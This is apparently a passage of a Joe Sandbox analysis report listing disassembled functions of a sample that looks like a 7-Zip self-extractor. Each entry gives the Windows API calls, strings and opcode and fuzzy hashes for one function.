Associated: 00000000.00000002.3170181376.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170279666.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170324078.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170357444.000000000041C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Olz7TmvkEW.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 8c7072cc985fec6293f6a09753beb2e316357da8c48b476863e2be2ee39a59c4
Instruction ID: 365df7105ab9a04826b78ec900b125106ca9408a1d9c2f09e43ac9e2ec372a14
Opcode Fuzzy Hash: 8c7072cc985fec6293f6a09753beb2e316357da8c48b476863e2be2ee39a59c4
Instruction Fuzzy Hash: 79F05E32504601EFC720AF69D840BA777F5FB88300F08482EE486F25B0D378B881CB59

Function 0040C95F Relevance: 1.5, APIs: 1, Instructions: 23fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0040C88E: CloseHandle.KERNELBASE(00419858,?,0040C96A,00000000,?,0040C9B2,[@,80000000,?,?,?,0040C9D4,?,00419858,00000003,00000080), ref: 0040C899

CreateFileW.KERNELBASE(?,?,?,00000000,?,?,00000000,00000000,?,0040C9B2,[@,80000000,?,?,?,0040C9D4), ref: 0040C981

Memory Dump Source

Source File: 00000000.00000002.3170223790.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3170181376.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170279666.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170324078.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170357444.000000000041C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Olz7TmvkEW.jbxd

Similarity

API ID: CloseCreateFileHandle
String ID:
API String ID: 3498533004-0
Opcode ID: a19757ce7e5ccf613119123a5b3edc374ed6791f117f5654b3e73f372b86812c
Instruction ID: bfcfdadf78b221de7b75783111638f87db2d9d80aed60170162fb1aa82d728bf
Opcode Fuzzy Hash: a19757ce7e5ccf613119123a5b3edc374ed6791f117f5654b3e73f372b86812c
Instruction Fuzzy Hash: 3BE08637000219BBCF115FA4EC41BCE3F55AF097A0F144626FA14A61F0D772C971AB99

Function 0040CAA0 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(?,?,00000001,00000000,00000000,?,?,0040D0BE,00000001,00419858,00419858,0041549C,?,00405599,?,?), ref: 0040CAC3

Memory Dump Source

Source File: 00000000.00000002.3170223790.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3170181376.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170279666.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170324078.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170357444.000000000041C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Olz7TmvkEW.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 1dc2ab1047e8fbb08a34da3cb10be8d6ff10d3f1f1ca0bc0f854986ee0a730da
Instruction ID: 88aaa84a90d32b64ed1f6dd0793a6e1d7fbd9e1969eb2b8b5a1cb2f912c455e2
Opcode Fuzzy Hash: 1dc2ab1047e8fbb08a34da3cb10be8d6ff10d3f1f1ca0bc0f854986ee0a730da
Instruction Fuzzy Hash: 55E0C275640208FFDB01CF95C841BDE7BB9AB48354F10C169E9189A260D3799A50DF54

Function 00406E05 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

_beginthreadex.MSVCRT ref: 00406E18

Memory Dump Source

Source File: 00000000.00000002.3170223790.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3170181376.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170279666.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170324078.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170357444.000000000041C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Olz7TmvkEW.jbxd

Similarity

API ID: _beginthreadex
String ID:
API String ID: 3014514943-0
Opcode ID: 0a96b3d3168017e36cebe01d4e37acbbe9c54d2facf36fb98624370b6d5ca005
Instruction ID: 033854197d412f734f15e9e19b3d909a116f00c1e253b1452bfc5409eef9a5ef
Opcode Fuzzy Hash: 0a96b3d3168017e36cebe01d4e37acbbe9c54d2facf36fb98624370b6d5ca005
Instruction Fuzzy Hash: 97D017F6900208BFCF01EFA0CC45CEB3BADEB08204B004464B905C2110E671DA109BA0

Function 0040C9E5 Relevance: 1.5, APIs: 1, Instructions: 18fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(?,?,?,00000000,00000000), ref: 0040C9FB

Memory Dump Source

Source File: 00000000.00000002.3170223790.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3170181376.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170279666.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170324078.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170357444.000000000041C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Olz7TmvkEW.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 34229f9fa32aa2f7fc41d1dd185fc7f07579dc1f5e874c2318e6b24567eda4a3
Instruction ID: 10957c0686827aba29bf6b3fca61d148a92be0f7cf9b29a220708a815fa9a989
Opcode Fuzzy Hash: 34229f9fa32aa2f7fc41d1dd185fc7f07579dc1f5e874c2318e6b24567eda4a3
Instruction Fuzzy Hash: 96E0EC75200208FFDB01CF90CD41FDE7BBEEB49754F208058E9049A160C7759A10EB54

Function 004127AA Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 004127AF

Memory Dump Source

Source File: 00000000.00000002.3170223790.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3170181376.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170279666.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170324078.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170357444.000000000041C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Olz7TmvkEW.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 138dc329791a6183fda8728fe879250bdc58d660df858f1861bde03158d924ef
Instruction ID: 86de7528c5b8e745b9feb2f1f2e8827419998e537f7b53f3733c02d1bff58703
Opcode Fuzzy Hash: 138dc329791a6183fda8728fe879250bdc58d660df858f1861bde03158d924ef
Instruction Fuzzy Hash: 54D012B6A00108BBDB159F85E945BDEF778EB5135AF10402FB001A1540D7B85A519669

Function 0040CA73 Relevance: 1.5, APIs: 1, Instructions: 9timeCOMMON

Download Yara Rule

APIs

SetFileTime.KERNELBASE(?,?,?,?,0040CA9D,00000000,00000000,?,00401283,?), ref: 0040CA81

Memory Dump Source

Source File: 00000000.00000002.3170223790.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3170181376.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170279666.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170324078.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170357444.000000000041C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Olz7TmvkEW.jbxd

Similarity

API ID: FileTime
String ID:
API String ID: 1425588814-0
Opcode ID: 3ce96db92dac49fc9d73cad444b7c0058786613d71d531d4d45718336f5b86ac
Instruction ID: de5aedd212665daa2fb0c30df7e581d57bf74256c4b77fd25e19f66411ac9bb8
Opcode Fuzzy Hash: 3ce96db92dac49fc9d73cad444b7c0058786613d71d531d4d45718336f5b86ac
Instruction Fuzzy Hash: 09C04C36158105FFCF020FB0CC04C5ABFA2AF99311F10C918B159C4070C7328024EB02

Function 0040CE83 Relevance: 1.3, APIs: 1, Instructions: 70COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(00000060), ref: 0040CEFE

Memory Dump Source

Source File: 00000000.00000002.3170223790.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3170181376.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170279666.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170324078.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170357444.000000000041C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Olz7TmvkEW.jbxd

Similarity

API ID: ??2@
String ID:
API String ID: 1033339047-0
Opcode ID: 44ff9f97dd3702d7ca69990b92a65016c2b32a6d45cca806f690b46cab85baab
Instruction ID: cab80700ff2ef97e3e68849728e007b5961c94ff6a6edc9b3495ca6231c3d80c
Opcode Fuzzy Hash: 44ff9f97dd3702d7ca69990b92a65016c2b32a6d45cca806f690b46cab85baab
Instruction Fuzzy Hash: 23214A32604246DBCB34AF61D8D086BB3A6AF403557244A3FE442776D1C738AC479BDA

Function 004032D9 Relevance: 1.3, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(00000018,00000000,004049F2,?,?,?), ref: 004032DE

Memory Dump Source

Source File: 00000000.00000002.3170223790.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3170181376.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170279666.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170324078.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170357444.000000000041C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Olz7TmvkEW.jbxd

Similarity

API ID: ??2@
String ID:
API String ID: 1033339047-0
Opcode ID: 5da00d81305d43432be94bf511d636d1c0af40f6c688cac88fa34fe88ae8ac90
Instruction ID: 04593239a52e0b24a0a84900efeb5de78bbbd7c33ac0e85a63675f9701e427e5
Opcode Fuzzy Hash: 5da00d81305d43432be94bf511d636d1c0af40f6c688cac88fa34fe88ae8ac90
Instruction Fuzzy Hash: 92D0223230422029DA64393A0907AFF4C8C8F90361F00487FB804EA2C1ED7CCE81228D

Function 0040C88E Relevance: 1.3, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(00419858,?,0040C96A,00000000,?,0040C9B2,[@,80000000,?,?,?,0040C9D4,?,00419858,00000003,00000080), ref: 0040C899

Memory Dump Source

Source File: 00000000.00000002.3170223790.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3170181376.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170279666.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170324078.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170357444.000000000041C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Olz7TmvkEW.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 260953eaa766690f6dd42752837e02fd8dd2a8d38b84a545f9bc6d2c9a71c262
Instruction ID: 46fd5d44533f688af1cbb16b01e3684df0873ba17e3ffd79ac6e97726efa63b3
Opcode Fuzzy Hash: 260953eaa766690f6dd42752837e02fd8dd2a8d38b84a545f9bc6d2c9a71c262
Instruction Fuzzy Hash: 53D0123220456186DA782F7CB8C45C237D96E56331331476BF0B6D72E4D3788C835A98

Function 00402739 Relevance: 1.3, APIs: 1, Instructions: 12memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004,0040D8FF,?,?,?,004096BF,?), ref: 00402755

Memory Dump Source

Source File: 00000000.00000002.3170223790.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3170181376.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170279666.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170324078.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170357444.000000000041C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Olz7TmvkEW.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 1d947fdf6df5f70e4621f0431d731520913ac8a11474ad35aa364c7fd2a883a0
Instruction ID: ef3627dbe8ede4864a94ca482c41f1f7a661cdc9e7d225e9ae9e2bc502ca7986
Opcode Fuzzy Hash: 1d947fdf6df5f70e4621f0431d731520913ac8a11474ad35aa364c7fd2a883a0
Instruction Fuzzy Hash: D5C0803014430079ED1137608E07B4936526B80716F50C465F344540F0D7F544005509

Function 00401CFA Relevance: 1.3, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(?,00000000,00008000,0040D8A7,00000000,?,0040D8F6,?,?,004096BF,?), ref: 00401D0C

Memory Dump Source

Source File: 00000000.00000002.3170223790.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3170181376.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170279666.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170324078.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170357444.000000000041C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Olz7TmvkEW.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 6a62ac4a4d7dac27c13b63ea0cba825f676e2686878a6172cdbdd2a29a859d51
Instruction ID: 1004f56851fc8b889ccfe642d75eb19623be02efc3220bf612975ac128c53eb9
Opcode Fuzzy Hash: 6a62ac4a4d7dac27c13b63ea0cba825f676e2686878a6172cdbdd2a29a859d51
Instruction Fuzzy Hash: 7FB09230544700FEEF224B00DE09B8A76A0ABC0B05F30C528B188641F087B56804EA09

Non-executed Functions

Function 0040385E Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 290comCOMMON

Download Yara Rule

APIs

_wtol.MSVCRT ref: 00403882
SHGetSpecialFolderPathW.SHELL32(00000000,?,DF20E863,00000000,xu_,00000000,H|_), ref: 00403925
??3@YAXPAX@Z.MSVCRT(?,?), ref: 00403996
??3@YAXPAX@Z.MSVCRT(?,?,?), ref: 0040399E
??3@YAXPAX@Z.MSVCRT(?,?,?,?), ref: 004039A6
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?), ref: 004039AE
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?), ref: 004039B6
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?), ref: 004039BE
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?), ref: 004039C6
_wtol.MSVCRT ref: 00403A1C
CoCreateInstance.OLE32(00416E70,00000000,00000001,00416E30,00405712,.lnk,?,0000005C), ref: 00403ABD
??3@YAXPAX@Z.MSVCRT(?,0000005C), ref: 00403B55
??3@YAXPAX@Z.MSVCRT(?,?,0000005C), ref: 00403B5D
??3@YAXPAX@Z.MSVCRT(?,?,?,0000005C), ref: 00403B65
??3@YAXPAX@Z.MSVCRT(?,?,?,?,0000005C), ref: 00403B6D
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,0000005C), ref: 00403B75
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,0000005C), ref: 00403B7D
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,0000005C), ref: 00403B85
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,0000005C), ref: 00403B8B
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,0000005C), ref: 00403B93

Strings

xu_, xrefs: 00403902
H|_, xrefs: 00403867
.lnk, xrefs: 00403A9C

Memory Dump Source

Source File: 00000000.00000002.3170223790.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3170181376.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170279666.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170324078.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170357444.000000000041C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Olz7TmvkEW.jbxd

Similarity

API ID: ??3@$_wtol$CreateFolderInstancePathSpecial
String ID: .lnk$H|_$xu_
API String ID: 408529070-3512132489
Opcode ID: cf4a75b7d2df8ab8d94b29a73fb7e55b3673f3da2728c2876b416c30fcf727c8
Instruction ID: 6a4e2cb34307125d1aa254537a73282d765d300cba51a9a08192486ca10ed339
Opcode Fuzzy Hash: cf4a75b7d2df8ab8d94b29a73fb7e55b3673f3da2728c2876b416c30fcf727c8
Instruction Fuzzy Hash: 4DA18E71D10249ABDF14EFA1CC469EEBB78FF1430AF50442AF406B71A1DB389A42DB18

Function 00402187 Relevance: 29.9, APIs: 16, Strings: 1, Instructions: 150stringCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,00000020,-00000002), ref: 004021D6
wsprintfW.USER32 ref: 004021E7
GetEnvironmentVariableW.KERNEL32(?,00000000,00000000), ref: 004021FC
GetLastError.KERNEL32 ref: 00402201
??2@YAPAXI@Z.MSVCRT(00000000), ref: 0040221C
GetEnvironmentVariableW.KERNEL32(?,00000000,00000004), ref: 0040222F
GetLastError.KERNEL32 ref: 00402236
lstrcmpiW.KERNEL32(02533FD0,00404926), ref: 0040224B
??3@YAXPAX@Z.MSVCRT(02533FD0), ref: 0040225B
??3@YAXPAX@Z.MSVCRT(00404926), ref: 00402279
SetLastError.KERNEL32(?), ref: 00402282
lstrlenA.KERNEL32(00416208), ref: 004022B6
??2@YAPAXI@Z.MSVCRT(00000000), ref: 004022D1
GetLocaleInfoW.KERNEL32(?,00001004,?,0000001F), ref: 00402303
_wtol.MSVCRT ref: 00402314
MultiByteToWideChar.KERNEL32(00000000,00416208,00000001,02533FD0,00000002), ref: 00402334

Strings

7zSfxString%d, xrefs: 004021E1

Memory Dump Source

Source File: 00000000.00000002.3170223790.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3170181376.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170279666.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170324078.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170357444.000000000041C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Olz7TmvkEW.jbxd

Similarity

API ID: ErrorLast$??2@??3@EnvironmentVariable$ByteCharInfoLocaleMultiWide_wtollstrcmpilstrlenwsprintf
String ID: 7zSfxString%d
API String ID: 2117570002-3906403175
Opcode ID: 21ae09bf32348a84b5a2f2e54b5b9e7d108aa2b47e227baa09689f935d6fe57e
Instruction ID: 10ef73f62a445f8617660be723e0bbad3c81975cf04d4be1a7303cf9b6c1a78d
Opcode Fuzzy Hash: 21ae09bf32348a84b5a2f2e54b5b9e7d108aa2b47e227baa09689f935d6fe57e
Instruction Fuzzy Hash: 82518171900604EFDB219FB5DD59BDABBB9EB48350B10807EE64EE62D0D774AD40CB28

Function 00401DC9 Relevance: 26.3, APIs: 11, Strings: 4, Instructions: 85libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 00401DD4
FindResourceExA.KERNEL32(00000000,?,?,00000000), ref: 00401DF1
FindResourceExA.KERNEL32(00000000,?,?,00000409), ref: 00401E05
SizeofResource.KERNEL32(00000000,00000000), ref: 00401E16
LoadResource.KERNEL32(00000000,00000000), ref: 00401E20
LockResource.KERNEL32(00000000), ref: 00401E2B
LoadLibraryA.KERNEL32(kernel32,SetProcessPreferredUILanguages), ref: 00401E57
GetProcAddress.KERNEL32(00000000), ref: 00401E60
wsprintfW.USER32 ref: 00401E7F
LoadLibraryA.KERNEL32(kernel32,SetThreadPreferredUILanguages), ref: 00401E94
GetProcAddress.KERNEL32(00000000), ref: 00401E97

Strings

kernel32, xrefs: 00401E47, 00401E4C, 00401E93
SetThreadPreferredUILanguages, xrefs: 00401E8E
%04X%c%04X%c, xrefs: 00401E79
SetProcessPreferredUILanguages, xrefs: 00401E42

Memory Dump Source

Source File: 00000000.00000002.3170223790.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3170181376.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170279666.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170324078.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170357444.000000000041C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Olz7TmvkEW.jbxd

Similarity

API ID: Resource$Load$AddressFindLibraryProc$HandleLockModuleSizeofwsprintf
String ID: %04X%c%04X%c$SetProcessPreferredUILanguages$SetThreadPreferredUILanguages$kernel32
API String ID: 2639302590-365843014
Opcode ID: 8e2c376142790921a1b7bbf09f4a30eccecb8d2c9c1f9a6d1badee13c63417f8
Instruction ID: f9dda1162ec2f24eaafa78ee80fe21c3398d892f55d41869619f642ebc926886
Opcode Fuzzy Hash: 8e2c376142790921a1b7bbf09f4a30eccecb8d2c9c1f9a6d1badee13c63417f8
Instruction Fuzzy Hash: B5214C72900608FBDB119FA4DC08FDF3ABDEB84711F158426FA05A6291D7B89D40CBA8

Function 00408DBF Relevance: 16.6, APIs: 11, Instructions: 96stringwindowCOMMON

Download Yara Rule

APIs

wvsprintfW.USER32(?,00000000,?), ref: 00408DE3
GetLastError.KERNEL32 ref: 00408DF4
FormatMessageW.KERNEL32(00001100,00000000,00000000,?,?,00000000,00406B79), ref: 00408E1C
FormatMessageW.KERNEL32(00001100,00000000,?,00000000,?,00000000,00406B79), ref: 00408E31
lstrlenW.KERNEL32(?), ref: 00408E44
lstrlenW.KERNEL32(?), ref: 00408E4B
??2@YAPAXI@Z.MSVCRT(00000000), ref: 00408E60
lstrcpyW.KERNEL32(00000000,?), ref: 00408E76
lstrcpyW.KERNEL32(-00000002,?), ref: 00408E87
??3@YAXPAX@Z.MSVCRT(00000000,00000000), ref: 00408E90
LocalFree.KERNEL32(?), ref: 00408E9A

Memory Dump Source

Source File: 00000000.00000002.3170223790.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3170181376.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170279666.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170324078.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170357444.000000000041C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Olz7TmvkEW.jbxd

Similarity

API ID: FormatMessagelstrcpylstrlen$??2@??3@ErrorFreeLastLocalwvsprintf
String ID:
API String ID: 829399097-0
Opcode ID: 4faf531a358f257a6781f4b9a7a74002cf67e8eef782f1a4dd5a9a84c920668d
Instruction ID: c91527b0869a4d5de4249670dcf9d0912663d9707098e08fcc2f2580e19cfeee
Opcode Fuzzy Hash: 4faf531a358f257a6781f4b9a7a74002cf67e8eef782f1a4dd5a9a84c920668d
Instruction Fuzzy Hash: 41218176800208FFDB149FA0DD85DEB7BACEF44354B10807BF945A6190EF34AE858BA4

Function 00402EE6 Relevance: 16.6, APIs: 11, Instructions: 90filestringCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,004155D0,?,?,?,00000000), ref: 00402F15
lstrcmpW.KERNEL32(?,004155CC,?,0000005C,?,?,?,00000000), ref: 00402F68
lstrcmpW.KERNEL32(?,004155C4,?,?,00000000), ref: 00402F7E
SetFileAttributesW.KERNEL32(?,00000000,?,0000005C,?,?,?,00000000), ref: 00402F94
DeleteFileW.KERNEL32(?,?,?,00000000), ref: 00402F9B
FindNextFileW.KERNEL32(00000000,00000010,?,?,00000000), ref: 00402FAD
FindClose.KERNEL32(00000000,?,?,00000000), ref: 00402FBC
SetFileAttributesW.KERNEL32(?,00000000,?,?,00000000), ref: 00402FC7
RemoveDirectoryW.KERNEL32(?,?,?,00000000), ref: 00402FD0
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000), ref: 00402FDB
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000), ref: 00402FE6

Memory Dump Source

Source File: 00000000.00000002.3170223790.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3170181376.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170279666.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170324078.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170357444.000000000041C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Olz7TmvkEW.jbxd

Similarity

API ID: File$Find$??3@Attributeslstrcmp$CloseDeleteDirectoryFirstNextRemove
String ID:
API String ID: 1862581289-0
Opcode ID: b5d7478b488ab07fa35e0d914aff9eae8d9a73ce57448807aa14b1ac9d27a7f6
Instruction ID: e3ea1660441bcf3a3f7f20395b47020d8d3d19c9c96888f58badb5dcc8a6e628
Opcode Fuzzy Hash: b5d7478b488ab07fa35e0d914aff9eae8d9a73ce57448807aa14b1ac9d27a7f6
Instruction Fuzzy Hash: 7A218631A04209FBDB11AB71DD8DFEF3B7CAF44745F50407AB805B21D0EBB89A459A68

Function 00408630 Relevance: 7.5, APIs: 5, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0040864F
SetWindowsHookExW.USER32(00000007,Function_00008576,00000000,00000000), ref: 0040865A
GetCurrentThreadId.KERNEL32 ref: 00408669
SetWindowsHookExW.USER32(00000002,Function_00008602,00000000,00000000), ref: 00408674
EndDialog.USER32(?,00000000), ref: 0040869A

Memory Dump Source

Source File: 00000000.00000002.3170223790.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3170181376.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170279666.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170324078.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170357444.000000000041C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Olz7TmvkEW.jbxd

Similarity

API ID: CurrentHookThreadWindows$Dialog
String ID:
API String ID: 1967849563-0
Opcode ID: 3c307380277fa9ea080ffec5c86f5ec4071e690be1bfbef556a541cbc554ab57
Instruction ID: a1df587bc44f7b8848174d41fcc6ca6bf5c09d6170abc4bd78dad765c28a629c
Opcode Fuzzy Hash: 3c307380277fa9ea080ffec5c86f5ec4071e690be1bfbef556a541cbc554ab57
